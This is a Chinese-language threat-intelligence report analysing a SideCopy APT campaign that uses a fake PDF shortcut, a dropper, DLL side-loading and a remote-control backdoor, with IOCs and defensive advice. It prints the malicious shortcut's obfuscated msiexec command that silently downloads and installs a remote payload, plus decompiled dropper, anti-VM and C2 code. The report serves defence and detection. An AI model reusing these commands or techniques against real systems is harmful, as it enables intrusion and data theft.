概述
瑞星威胁情报平台近期捕获到SideCopy
组织发起的一起攻击事件。该组织仍采用zip
+lnk
组合的方式,通过钓鱼邮件或其他社工手段向目标用户进行投递。事件中使用的恶意快捷方式Security-Guidelines.lnk.pdf
被伪装成pdf
文档,诱导用户点击执行,然后通过内嵌命令将远程服务器上的恶意载荷下载到本地执行,最终执行恶意行为。与以往使用自建或公共服务器不同,此次事件中的下载服务器nhp.mowr.gov.in
为合法网站,隶属于印度水资源部。攻击者成功入侵该站点并利用其托管恶意载荷,可有效规避安全检测机制,提高攻击成功率。根据事件中发现的诱饵文档内容、恶意载荷下载地址等证据,可以判定这是一起以网络安全指导为主题、针对印度水利部门相关人员的攻击事件。
SideCopy
是一个具有南亚国家背景的APT
组织,因其攻击手法模仿南亚地区另一组织SideWinder
而得名。据披露,该组织至少从2019年就开始活跃,主要针对印度、阿富汗等南亚国家的政府、国防和军事机构。
ATT&CK矩阵
战术 | 技术 | 具体行为 |
---|---|---|
TA0042 -资源 |
T1584 -攻陷基础设施 |
攻陷合法站点作为恶意载荷下载服务器 |
TA0002 -执行 |
T1059 -命令和脚本解释器 |
执行命令安装托管在远程服务器上的程序 |
TA0002 -执行 |
T1204 -用户执行 |
将快捷方式伪装成合法文档,诱骗用户执行 |
TA0003 -持久化 |
T1547 -启动或登录自动执行 |
创建注册表自启动项执行恶意程序 |
TA0003 -持久化 |
T1053 -计划任务/作业 |
创建计划任务执行恶意程序 |
TA0005 -防御规避 |
T1574 -劫持执行流 |
将恶意程序伪装成合法DLL 文件,通过侧加载方式执行 |
TA0005 -防御规避 |
T1036 -伪装 |
双文件扩展名方式将LNK 伪装成PDF 文档 |
TA0005 -防御规避 |
T1027 -混淆过的文件或信息 |
恶意载荷经过编码后存储,执行时进行解码 |
TA0007 -环境发现 |
T1057 -收集进程信息 |
获取当前进程的权限 |
TA0007 -环境发现 |
T1087 -枚举账户 |
枚举当前系统中的账户列表并发送给服务器 |
TA0007 -环境发现 |
T1120 -探测外围设备 |
获取主机外设、风扇等设备信息以判断是否为真实主机 |
TA0007 -环境发现 |
T1124 -获取系统时间 |
获取系统时间戳用于生成客户端ID |
TA0009 -收集信息 |
T1005 -来自本地系统的数据 |
攻击者从受害者机器上收集文件并上传 |
TA0010 -外传信息 |
T1020 -自动外传 |
自动发送信息,包括收集到的受害者信息、指令完成结果等 |
TA0010 -外传信息 |
T1041 -通过C2通道外传 |
攻击者通过C2通道传递本地信息 |
事件详情
本次事件中初始样本是Security-Guidelines.zip
压缩包,其真实恶意载荷是包内同名的lnk
文件,攻击者通过双后缀名、修改图标等方式将其伪装成pdf
文档,诱使用户点击执行,然后在后台触发内嵌命令从服务器下载并安装msi
程序。安装的程序名为MSTech 1.0.0
,但实际只负责执行包内的consoleapp1.exe
,在本地释放多个文件:诱饵文档Security-Guidelines.pdf
(以网络安全培训为主题)、持久化脚本svnides.hta
以及girbesre.exe
、Sampeose.dll
、DUI70.dll
。其中,DUI70.dll
为SideCopy
组织开发的远控后门,通过DLL
劫持在内存中执行,与C2
服务器updates.widgetservicecenter.com
通信,从而实现对目标主机的远程控制。
诱饵文档内容。
攻击流程
样本分析
Security-Guidelines.pdf.lnk分析
字段 | 内容 |
---|---|
文件名 | Security-Guidelines.pdf.lnk |
文件大小 | 2.18 KB (2237 bytes) |
文件MD5 | 57c2f8b4bbf4037439317a44c2263346 |
文件类型 | LNK |
病毒名 | Downloader.Agent/LNK!1.12827 |
主要功能 | 执行命令下载安装恶意程序 |
该样本是一个名为Security-Guidelines.pdf.lnk
的快捷方式文件,攻击者通过双扩展名和修改图标将其伪装成pdf
文档,诱使用户点击执行。快捷方式指向本地的cmd.exe
,参数为/c m^s^i^e^x^e^c.exe /q /i h^t^t^p^s^:^/^/^n^h^p^.^m^o^w^r^.^g^o^v^.^i^n^/^N^H^P^M^I^S^/^T^r^a^i^n^i^n^g^M^a^t^e^r^i^a^l^/^a^s^p^x^/^S^e^c^u^r^i^t^y^-^G^u^i^d^e^l^i^n^e^s^/^w^o^n^t^/
。攻击者通过插入字符^
进行简单混淆,去混淆后显示命令调用msiexec.exe
,以静默模式从指定URL
下载安装MSI
包。相关域名(nhp.mowr.gov.in
)是印度水资源部国家水文项目官方站点,具体路径为管理信息系统培训材料下的安全指南
子目录(/NHPMIS/TrainingMaterial/
)。攻击者成功入侵该站点并用来托管恶意载荷,这种方式既能规避流量检测,又对目标用户极具迷惑性。
consoleapp1.exe分析
字段 | 内容 |
---|---|
文件名 | consoleapp1.exe |
文件大小 | 4.05 MB (4251648 bytes) |
文件MD5 | ef40f484e095f0f6f207139cb870a16e |
文件类型 | EXE |
病毒名 | Dropper.[SideCopy]Agent!1.12854 |
主要功能 | 释放多个恶意载荷并执行 |
通过命令从合法站点下载的msi
程序,表面为MSTech 1.0.0
安装包,实则运行包内的恶意程序consoleapp1.exe
。该程序释放内嵌的多个恶意载荷到本地,包括Security-Guidelines.pdf
、Sampeose.dll
、DUI70.dll
、girbesre.exe
和svnides.hta
。这些文件按功能分为三类:
- 诱饵文档:
Security-Guidelines.pdf
- 本地持久化脚本:
svnides.hta
DLL
劫持:girbesre.exe
、DUI70.dll
、Sampeose.dll
consoleapp1.exe
主函数代码。
public static void Main(string[] args)
{
Program.pdifanos(); //Security-Guidelines.pdf,lnk文件同名的诱饵文档
Program.dropOrigDll(); //Sampeose.dll,改名后的原始DUI70.dll
Program.dropHijackDll(); //DUI70.dll,伪装成系统文件的远控木马
Program.dropExe(); //girbesre.exe,加载恶意DLL的白文件
Program.persisting(); //svnides.hta,创建注册表启动项实现持久化
}
释放的文件均以硬编码形式存储于consoleapp1.exe
,并经过压缩和base64
编码处理,在释放时需要解码后写入本地文件。
try
{
byte[] array = Program.Decompress(Program.base64_decode(text)); //对本地硬编码数据base64解码并解压缩
File.WriteAllBytes(text3, array); //将结果写入本地文件
}
catch (IOException)
{
}
catch (Exception)
{
}
DLL
劫持
攻击者利用函数转发技术实现DLL
劫持,将样本girbesre.exe
、DUI70.dll
和Sampeose.dll
释放到本地目录C:\ProgramData\LavaSoft
。其中,DUI70.dll
是伪装成系统文件的恶意程序,Sampeose.dll
为改名后的原始DUI70.dll
。白文件girbesre.exe
运行时动态加载同目录的DUI70.dll
,该dll
被加载后执行自定义的恶意函数,同时通过函数转发机制将正常函数调用转发至原始dll
,确保正常功能不受影响。
DUI70.dll
部分导出函数列表,定义了原合dll
的全部导出函数,函数RunFunc
为插入的恶意代码。
自定义的函数转发,指向合法DLL
改名后的Sampeose.dll
。
DUI70.dll分析
字段 | 内容 |
---|---|
原始文件名 | DUI70.dll |
文件大小 | 1.90 MB (1994752 bytes) |
文件MD5 | 589a65e0f3fe6777d17d0ac36ab07f6f |
文件类型 | DLL |
病毒名 | Backdoor.[SideCopy]Agent!1.12842 |
主要功能 | 实现远程控制 |
样本DUI70.dll
作为远控木马,利用开源框架libcpr
与C2
服务器进行通信,实现对目标主机的远程控制。libcpr
是一个基于C++
的开源网络传输库,封装底层CURL
库,可提供更直观易用的接口,便于开发者发送HTTP请求(如GET、POST等)并处理响应。服务器地址为updates.widgetservicecenter.com
,攻击者通过其不同路径实现功能分隔。
服务器路径 | 功能 |
---|---|
/antivmcommand |
是否进行反虚拟化检测 |
/sdnammoc |
接收指令 |
/stluser |
发送指令执行结果 |
/taebtraeh |
发送心跳包 |
/retsiger |
注册客户端 |
- 1、客户端注册。
首先本地生成client_id
字段,格式为:UUID + '_' + 当前用户名
,并将其写入隐藏文件.client_id.txt
中保存。之后client_id
作为客户端主机唯一标识发送至服务器特定地址完成注册,URL
完整路径为hxxps://updates.widgetservicecenter.com/retsiger
。
获取当前用户名、生成UUID
。
v2 = getenv_7FFF178825BC("USERNAME"); // 获取用户名
if ( v2 )
{
UuidCreate(&Uuid); // 生成UUID
sub_7FFF177A1C4C( // 调整UUID为指定格式
(int)v22,
0x25,
"%08x-%04x-%04x-%04x-%012llx",
Uuid.Data1,
Uuid.Data2,
Uuid.Data3,
Uuid.Data4[1] | (Uuid.Data4[0] << 8),
Uuid.Data4[7] | ((Uuid.Data4[6] | ((Uuid.Data4[5] | ((Uuid.Data4[4] | ((Uuid.Data4[3] | ((unsigned __int64)Uuid.Data4[2] << 8)) << 8)) << 8)) << 8)) << 8));
拼接字符串。
v5 = sub_7FFF177BA634(&v15, 0i64, (const __m128i *)"_", 1ui64);// 字符串连接符
v17 = *v5;
v6 = (const __m128i *)v17.m128i_i64[0];
v18 = v5[1];
v7 = v18;
v5[1].m128i_i64[0] = 0i64;
v5[1].m128i_i64[1] = 15i64;
v5->m128i_i8[0] = 0;
v8 = &v17;
if ( _mm_srli_si128(v7, 8).m128i_u64[0] > 0xF )
v8 = v6;
concat_7FFF177B2504(&v20, v8, v7.m128i_u64[0]);// 拼接字符串:UUID + '_' + 用户名
client_id
内容。
- 2、反虚拟化检测。
通过GET
方法与服务器通信,地址为hxxps://updates.widgetservicecenter.com/antivmcommand
。若指令为on
则启动本地反虚拟化检测,否则不检测。
concat_str_180019B54(
(__int64)v15_URL_antivmcommand,
a2,
(__int64)&C2_addr_1801DC480,//服务器地址:updates.widgetservicecenter.com
v2,
xmmword_7FFF1797C490,
(const __m128i *)"/antivmcommand", //服务器路径
0xEui64);
memset_18010C770((__m128i *)v22, 0, 0x138ui64);
memset(&v16_url[8], 0, 32);
v3 = (const __m128i *)v15_URL_antivmcommand;
if ( v21 > 0xF )
v3 = (const __m128i *)v15_URL_antivmcommand[0];
copy_str_7FFF01F95188((__m128i *)&v16_url[8], v3, v15_URL_antivmcommand[2]);
v13.m128i_i64[0] = (__int64)&v16_url[8];
v13.m128i_i64[1] = (__int64)v15;
v4 = cpr_url_7FFF177A3BA0((__int64)v15, &v13);
connect_C2_get_7FFF0226511C((__int64)v22, v4);// 与服务器通信,GET方法获取指令
反虚拟化检测,包括主机风扇、程序路径、显示器、内存、USB
设备、进程数量。
if ( sub_7FFF177ABA20() ) // 主机风扇检测
return 5i64;
if ( (unsigned int)sub_7FFF177AB3C0() ) // 程序路径检测
return 5i64;
dwData[0] = 0;
EnumDisplayMonitors(0i64, 0i64, fnEnum, (LPARAM)dwData);// 枚举显示器检测
if ( dwData[0] || (unsigned int)sub_7FFF177AB4C8() )// 内存、USB设备检测
return 5i64;
dwData[0] = 0;
if ( !K32EnumProcesses((DWORD *)idProcess, 0x1000u, (LPDWORD)dwData) )// 进程数量检测
{
LastError = GetLastError();
sub_7FFF177A1BA8("\n\t[!] EnumProcesses Failed With Error : %d \n", LastError);
}
result = dwData[0] & 0xFFFFFFFC;
if ( (unsigned int)result < 0xC8 )
return 5i64;
return result;
- 3、接收、执行指令。
客户端注册成功后开始从服务器接收指令,指令以json
格式传递,经本地解析后执行相应功能。同时,木马程序通过向服务器特定路径发送信息告知当前执行状态及指令执行结果。
if ( is_register_successfully_7FFF01DAC340 )// 客户端是否注册成功
{
LABEL_34:
if ( byte_7FFF17978758 )
{
v19 = 0i64;
v20 = 0i64;
recv_command_180008B60((__int64 *)&v19, v11, (const __m128i *)v21);// 接收指令
if ( (_QWORD)v19 == *((_QWORD *)&v19 + 1) )
{
heartbeat_18000B704(v14, (const __m128i **)v21);// 发送心跳包
}
else
{
v17 = 0i64;
*(_QWORD *)&v18 = 0i64;
exec_command_180009150((__int64 *)&v17, (__int64 **)&v19);// 执行指令
stluser_18000AF24(v15, (const __m128i *)v21, (const __m128i **)&v17);// 发送指令执行结果
heartbeat_18000B704(v16, (const __m128i **)v21);// 发送心跳包
HeapFree_7FFF177AF6F4((void ***)&v17);
}
HeapFree_7FFF177AF6F4((void ***)&v19);
}
heartbeat_18000B704(v10, (const __m128i **)v21);// 发送心跳包
}
指令对应功能列表。
指令 | 功能 |
---|---|
on | 开启反虚拟化 |
download | 下载文件 |
persistance | 创建计划任务 |
run | 执行计划任务 |
extract | 提取本地压缩包内文件 |
permission | 获取当前进程的权限 |
users | 获取系统所有账户名称 |
cmd | 执行命令 |
攻击过程可视化(EDR)
总结
APT攻击有着针对性强、组织严密、持续时间长、高隐蔽性和间接攻击的显著特征,针对的目标都是具有重大信息资产,如国家军事、情报、战略部门和影响国计民生的行业如金融、能源等,国内相关政府机构和企业单位务必要引起重视,加强防御措施。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
瑞星ESM目前已经可以检出此次攻击事件的相关样本。
- 及时修补系统补丁和重要软件的补丁。
沦陷信标(IOC)
- MD5
589A65E0F3FE6777D17D0AC36AB07F6F
900C4611DAA2E1A0690659A0FB12F7A8
97C3328427B72F05F120E9A98B6F9B09
EF40F484E095F0F6F207139CB870A16E
F4C04F60C264216A74148700245DFB8C
9DE50F9357187B623B06FC051E3CAC4F
57C2F8B4BBF4037439317A44C2263346
0E57890A3BA16B1AC0117A624F262E61
C65C765B78988AE2858AF4669C0B399C
- URL
hxxps://nhp.mowr.gov.in/NHPMIS/TrainingMaterial/aspx/Security-Guidelines/wont/
hxxps://updates.widgetservicecenter.com/antivmcommand
hxxps://updates.widgetservicecenter.com/sdnammoc/
hxxps://updates.widgetservicecenter.com/stluser/
hxxps://updates.widgetservicecenter.com/retsiger
hxxps://updates.widgetservicecenter.com/taebtraeh/
- 瑞星病毒名
Dropper.[SideCopy]Agent!1.12854
Backdoor.[SideCopy]Agent!1.12842
Trojan.[SideCopy]Agent/JS!1.1284F